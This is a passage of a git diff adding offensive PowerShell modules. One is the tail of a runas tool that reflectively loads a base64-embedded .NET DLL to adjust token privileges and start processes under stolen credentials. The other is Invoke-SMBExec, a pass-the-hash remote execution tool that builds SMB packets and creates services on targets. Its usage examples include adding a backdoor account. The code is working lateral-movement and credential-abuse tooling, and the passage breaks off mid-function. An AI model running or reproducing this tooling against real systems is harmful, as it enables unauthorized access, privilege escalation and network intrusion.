+ IntPtr hExistingToken, + uint dwDesiredAccess, + ref SECURITY_ATTRIBUTES lpTokenAttributes, + int ImpersonationLevel, + int TokenType, + ref IntPtr phNewToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool LogonUser( + string pszUsername, + string pszDomain, + string pszPassword, + int dwLogonType, + int dwLogonProvider, + ref IntPtr phToken); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] + public static extern bool CreateProcessAsUser( + IntPtr hToken, + string lpApplicationName, + string lpCommandLine, + ref SECURITY_ATTRIBUTES lpProcessAttributes, + ref SECURITY_ATTRIBUTES lpThreadAttributes, + bool bInheritHandle, + Int32 dwCreationFlags, + IntPtr lpEnvrionment, + string lpCurrentDirectory, + ref STARTUPINFO lpStartupInfo, + ref PROCESS_INFORMATION lpProcessInformation); + + + [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] + public static extern bool CreateProcessWithLogonW( + String userName, + String domain, + String password, + int logonFlags, + String applicationName, + String commandLine, + int creationFlags, + int environment, + String currentDirectory, + ref STARTUPINFO startupInfo, + out PROCESS_INFORMATION processInformation); + } + + public static class Kernel32 + { + [DllImport("kernel32.dll")] + public static extern uint GetLastError(); + } +"@ + +} else { + if ($psloadedrunas -ne "TRUE") { + $script:psloadedrunas = "TRUE" + echo "[+] Loading Assembly using System.Reflection" + echo "" + $ps = "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CwB5BAkAIgUBABEAIgUGABkAIgUKACkAIgUQADEAIgUQADkAIgUQAEEAIgUQAEkAIgUQAFEAIgUQAFkAIgUQAGEAIgUVAGkAIgUQAHEAIgUQAJEAIgUgAJEAzgQlAIkAIgUGAAgAFAAxAAgAGAA2AAgAHAA7AAgAIABAAAgAfAA7AAgAgAAxAAgAhABFAAgAiABKAC4ACwDOAC4AEwDXAC4AGwD2AC4AIwD/AC4AKwAMAS4AMwAMAS4AOwAMAS4AQwD/AC4ASwASAS4AUwAMAS4AWwAMAS4AYwAqAS4AawBUAQEAAAAAAAkAGgC+A8sDQQEDAKoFAQBBAQUABwQBAEABBwByAwEABgENANEGAQBAAQ8A7QQBAEIDEQD3BAEARAETAMgAAQAAARUAFQUCAASAAAABAAAAAAAAAAAAAAAAAL0GAAACAAAAAAAAAAAAAAAoAP8AAAAAAAkABgAAAABBZHZhcGkzMgBLZXJuZWwzMgBjYlJlc2VydmVkMgBscFJlc2VydmVkMgA8TW9kdWxlPgBTRV9QUklWSUxFR0VfRU5BQkxFRABTRV9QUklWSUxFR0VfRElTQUJMRUQAU0VDVVJJVFlfSU1QRVJTT05BVElPTl9MRVZFTABQUk9DRVNTX0lORk9STUFUSU9OAFNUQVJUVVBJTkZPAFRPS0VOX0FESlVTVF9QUklWSUxFR0VTAFNFQ1VSSVRZX0FUVFJJQlVURVMAQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAZHdYAFRPS0VOX1FVRVJZAGR3WQB2YWx1ZV9fAGNiAG1zY29ybGliAGFjYwBkd1RocmVhZElkAGR3UHJvY2Vzc0lkAGhUaHJlYWQAbHBSZXNlcnZlZABUb2tQcml2MUx1aWQAcGx1aWQAcHN6UGFzc3dvcmQAcGFzc3dvcmQARW5hYmxlUHJpdmlsZWdlAHByaXZpbGVnZQBkaXNhYmxlAHByb2Nlc3NIYW5kbGUAYkluaGVyaXRIYW5kbGUAbHBUaXRsZQBscEFwcGxpY2F0aW9uTmFtZQBhcHBsaWNhdGlvbk5hbWUAdXNlck5hbWUAcHN6VXNlcm5hbWUAbHBDb21tYW5kTGluZQBjb21tYW5kTGluZQBWYWx1ZVR5cGUAVG9rZW5UeXBlAGR3TG9nb25UeXBlAEd1aWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAZHdGaWxsQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAExvb2t1cFByaXZpbGVnZVZhbHVlAGR3WFNpemUAZHdZU2l6ZQBMZW5ndGgAcGh0b2sASW1wZXJzb25hdGlvbkxldmVsAGRpc2FsbABhZHZhcGkzMi5kbGwAa2VybmVsMzIuZGxsAEFkalByaXYuZGxsAFN5c3RlbQBFbnVtAGhFeGlzdGluZ1Rva2VuAHBoVG9rZW4AT3BlblByb2Nlc3NUb2tlbgBwaE5ld1Rva2VuAHJlbGVuAHBzekRvbWFpbgBkb21haW4AU2VjdXJpdHlJZGVudGlmaWNhdGlvbgBTZWN1cml0eURlbGVnYXRpb24AbHBQcm9jZXNzSW5mb3JtYXRpb24AcHJvY2Vzc0luZm9ybWF0aW9uAFNlY3VyaXR5SW1wZXJzb25hdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBscFN0YXJ0dXBJbmZvAHN0YXJ0dXBJbmZvAFplcm8AbHBEZXNrdG9wAGR3TG9nb25Qcm92aWRlcgBMb2dvblVzZXIAQ3JlYXRlUHJvY2Vzc0FzVXNlcgBoU3RkRXJyb3IAR2V0TGFzdEVycm9yAC5jdG9yAGxwU2VjdXJpdHlEZXNjcmlwdG9yAEludFB0cgBBdHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBBZGp1c3RUb2tlblByaXZpbGVnZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGxwVG9rZW5BdHRyaWJ1dGVzAGxwUHJvY2Vzc0F0dHJpYnV0ZXMAbG9nb25GbGFncwBkd0NyZWF0aW9uRmxhZ3MAY3JlYXRpb25GbGFncwBkd0ZsYWdzAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBkd0Rlc2lyZWRBY2Nlc3MAaFByb2Nlc3MAU2VjdXJpdHlBbm9ueW1vdXMAT2JqZWN0AGxwRW52cmlvbm1lbnQAZW52aXJvbm1lbnQAQ291bnQAaG9zdABuZXdzdABoU3RkSW5wdXQAaFN0ZE91dHB1dABwcmV2AEFkalByaXYAd1Nob3dXaW5kb3cARHVwbGljYXRlVG9rZW5FeABscEN1cnJlbnREaXJlY3RvcnkAY3VycmVudERpcmVjdG9yeQAAAAAAAACWZGjNb64yTZfnFNQeWEO1AAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIFBwIRJBgEIAEBCgIGGAi3elxWGTTgiQQAAAAABAEAAAAEAgAAAAQDAAAABAgAAAAEIAAAAAIGCAIGAgMGEQwCBgkCBg4CBgYCBgoLAAYCGAIQESQIGBgHAAMCGAgQGAcAAwIODhAKBgADAgoOAgwABgIYCRARCAgIEBgKAAYCDg4OCAgQGBYACwIYDg4QEQgQEQgCCBgOEBEUEBEQEgALAg4ODggODggIDhARFBAREAMAAAkIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAADAEAB0FkalByaXYAAAUBAAAAABcBABJDb3B5cmlnaHQgwqkgIDIwMTgAACkBACRkMmYwMzc0OS0wODNiLTQ1NDctODM1MC0zOTcxZmRkMGVjNzMAAAwBAAcxLjAuMC4wAAAAAAAAAAAAX8VgWgAAAAACAAAAHAEAAAQvAAAEEQAAUlNEU50IyNt/egRPrTqvLNKC4xcBAAAAQzpcVXNlcnNcYWRtaW5cc291cmNlXHJlcG9zXEFkalByaXZcQWRqUHJpdlxvYmpcUmVsZWFzZVxBZGpQcml2LnBkYgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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" + $dllbytes = [System.Convert]::FromBase64String($ps) + $assembly = [System.Reflection.Assembly]::Load($dllbytes) + } +} + if (($env:username -eq "$($env:computername)$")) { + echo "`n[>] User is `"NT Authority\SYSTEM`" so running LogonUser -> DuplicateTokenEx -> CreateProcessAsUser" + # EnablePrivs from http://www.leeholmes.com/blog/2010/09/24/adjusting-token-privileges-in-powershell/ + $processHandle = (Get-Process -id $pid).Handle + [AdjPriv]::EnablePrivilege($processHandle, "SeAssignPrimaryTokenPrivilege", $Disable) + + $LogonTokenHandle = [IntPtr]::Zero + + echo "`n[>] Calling Advapi32::LogonUser" + $CallResult1 = [Advapi32]::LogonUser($User, $Domain, $Password, 2, 0, [ref] $LogonTokenHandle) + + if (!$CallResult1) { + echo "`n[!] Mmm, something went wrong! GetLastError returned:" + echo "==> $((New-Object System.ComponentModel.Win32Exception([int][Kernel32]::GetLastError())).Message)`n" + } else { + echo "`n[+] Success, LogonTokenHandle: " + echo $LogonTokenHandle + } + + $SecImpersonation = New-Object SECURITY_IMPERSONATION_LEVEL + $SECURITY_ATTRIBUTES = New-Object SECURITY_ATTRIBUTES + $PrivLogonTokenHandle = [IntPtr]::Zero + + echo "`n[>] Calling Advapi32::DuplicateTokenEx" + $CallResult2 = [Advapi32]::DuplicateTokenEx($LogonTokenHandle, 0x2000000, [ref] $SECURITY_ATTRIBUTES, 2, 1, [ref] $PrivLogonTokenHandle) + + + if (!$CallResult2) { + echo "`n[!] Mmm, something went wrong! GetLastError returned:" + echo "==> $((New-Object System.ComponentModel.Win32Exception([int][Kernel32]::GetLastError())).Message)`n" + } else { + echo "`n[+] Success, PrivLogonTokenHandle:" + echo $PrivLogonTokenHandle + } + + # StartupInfo Struct + $StartupInfo = New-Object STARTUPINFO + $StartupInfo.dwFlags = 0x00000001 + $StartupInfo.wShowWindow = 0x0001 + $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) + + # ProcessInfo Struct + $ProcessInfo = New-Object PROCESS_INFORMATION + + $SecAttributes1 = New-Object SECURITY_ATTRIBUTES + $SecAttributes2 = New-Object SECURITY_ATTRIBUTES + $lpEnvrionment = [IntPtr]::Zero + $CurrentDirectory = $Env:SystemRoot + + echo "`n[>] Calling Advapi32::CreateProcessAsUser" + $CallResult3 = [Advapi32]::CreateProcessAsUser($PrivLogonTokenHandle, $command, $args, + [ref] $SecAttributes1, [ref] $SecAttributes2, $false, 0, $lpEnvrionment, $CurrentDirectory, [ref]$StartupInfo, [ref]$ProcessInfo) + + if (!$CallResult3) { + echo "`n[!] Mmm, something went wrong! GetLastError returned:" + echo "==> $((New-Object System.ComponentModel.Win32Exception([int][Kernel32]::GetLastError())).Message)`n" + } else { + echo "`n[+] Success, process details:" + Get-Process -Id $ProcessInfo.dwProcessId + echo "`n[+] Please note, this process will have a primary token assigned but the user displayed will be SYSTEM" + echo "`n[+] Run Invoke-TokenManipulation to see the Token loaded" + } + } else { + cd $Env:SystemRoot + echo "`n[>] User is `"$env:username`" so running CreateProcessWithLogonW" + # Inspired from: https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1 + # StartupInfo Struct + $StartupInfo = New-Object STARTUPINFO + $StartupInfo.dwFlags = 0x00000001 + $StartupInfo.wShowWindow = 0x0001 + $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) + + # ProcessInfo Struct + $ProcessInfo = New-Object PROCESS_INFORMATION + + # CreateProcessWithLogonW --> lpCurrentDirectory + $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName + + echo "`n[>] Calling Advapi32::CreateProcessWithLogonW" + $CallResult = [Advapi32]::CreateProcessWithLogonW( + $User, $Domain, $Password, 0x1, $Command, + $Args, 0x04000000, $null, $GetCurrentPath, + [ref]$StartupInfo, [ref]$ProcessInfo) + + if (!$CallResult) { + echo "`n[!] Mmm, something went wrong! GetLastError returned:" + echo "==> $((New-Object System.ComponentModel.Win32Exception([int][Kernel32]::GetLastError())).Message)`n" + } else { + echo "`n[+] Success, process details:" + Get-Process -Id $ProcessInfo.dwProcessId + } + } +} \ No newline at end of file diff --git a/Modules/Invoke-SMBExec.ps1 b/Modules/Invoke-SMBExec.ps1 new file mode 100644 index 0000000..a6ee34d --- /dev/null +++ b/Modules/Invoke-SMBExec.ps1 @@ -0,0 +1,2481 @@ +function Invoke-SMBExec +{ +<# +.SYNOPSIS +Invoke-SMBExec performs SMBExec style command execution with NTLMv2 pass the hash authentication. Invoke-SMBExec +supports SMB1 and SMB2 with and without SMB signing. + +.PARAMETER Target +Hostname or IP address of target. + +.PARAMETER Username +Username to use for authentication. + +.PARAMETER Domain +Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the +username. + +.PARAMETER Hash +NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. + +.PARAMETER Command +Command to execute on the target. If a command is not specified, the function will check to see if the username +and hash provides local administrator access on the target. + +.PARAMETER CommandCOMSPEC +Default = Enabled: Prepend %COMSPEC% /C to Command. + +.PARAMETER Service +Default = 20 Character Random: Name of the service to create and delete on the target. + +.PARAMETER SMB1 +(Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the +target. + +.PARAMETER Sleep +Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this +setting if you are experiencing strange results. + +.EXAMPLE +Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose + +.EXAMPLE +Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "net user SMBExec Winter2017 /add" + +.EXAMPLE +Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 + +.LINK +https://github.com/Kevin-Robertson/Invoke-TheHash + +#> +[CmdletBinding()] +param +( + [parameter(Mandatory=$true)][String]$Target, + [parameter(Mandatory=$true)][String]$Username, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$Command, + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y", + [parameter(Mandatory=$false)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, + [parameter(Mandatory=$false)][String]$Service, + [parameter(Mandatory=$false)][Switch]$SMB1, + [parameter(Mandatory=$false)][String]$Password, + [parameter(Mandatory=$false)][Int]$Sleep=150 +) + +if(!$Password -and !$Hash){ + exit +} + +if($Password){ + $Hash = Get-MD4Hash -DataToHash $([Text.Encoding]::Unicode.GetBytes($Password)) + Write-Output "Hash being used: $Hash" +} + +if($Command) +{ + $SMB_execute = $true +} + +if($SMB1) +{ + $SMB_version = 'SMB1' +} + +function ConvertFrom-PacketOrderedDictionary +{ + param($packet_ordered_dictionary) + + ForEach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array +} + +#NetBIOS + +function Get-PacketNetBIOSSessionService() +{ + param([Int]$packet_header_length,[Int]$packet_data_length) + + [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) + $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] + + $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Message_Type",[Byte[]](0x00)) + $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Length",[Byte[]]($packet_netbios_session_service_length)) + + return $packet_NetBIOSSessionService +} + +#SMB1 + +function Get-PacketSMBHeader() +{ + param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) + + $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBHeader.Add("SMBHeader_Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $packet_SMBHeader.Add("SMBHeader_Command",$packet_command) + $packet_SMBHeader.Add("SMBHeader_ErrorClass",[Byte[]](0x00)) + $packet_SMBHeader.Add("SMBHeader_Reserved",[Byte[]](0x00)) + $packet_SMBHeader.Add("SMBHeader_ErrorCode",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_Flags",$packet_flags) + $packet_SMBHeader.Add("SMBHeader_Flags2",$packet_flags2) + $packet_SMBHeader.Add("SMBHeader_ProcessIDHigh",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_Reserved2",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_TreeID",$packet_tree_ID) + $packet_SMBHeader.Add("SMBHeader_ProcessID",$packet_process_ID) + $packet_SMBHeader.Add("SMBHeader_UserID",$packet_user_ID) + $packet_SMBHeader.Add("SMBHeader_MultiplexID",[Byte[]](0x00,0x00)) + + return $packet_SMBHeader +} + +function Get-PacketSMBNegotiateProtocolRequest() +{ + param([String]$packet_version) + + if($packet_version -eq 'SMB1') + { + [Byte[]]$packet_byte_count = 0x0c,0x00 + } + else + { + [Byte[]]$packet_byte_count = 0x22,0x00 + } + + $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_WordCount",[Byte[]](0x00)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_ByteCount",$packet_byte_count) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + + if($packet_version -ne 'SMB1') + { + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + } + + return $packet_SMBNegotiateProtocolRequest +} + +function Get-PacketSMBSessionSetupAndXRequest() +{ + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_byte_count = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_byte_count = $packet_byte_count[0,1] + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length + 5) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + 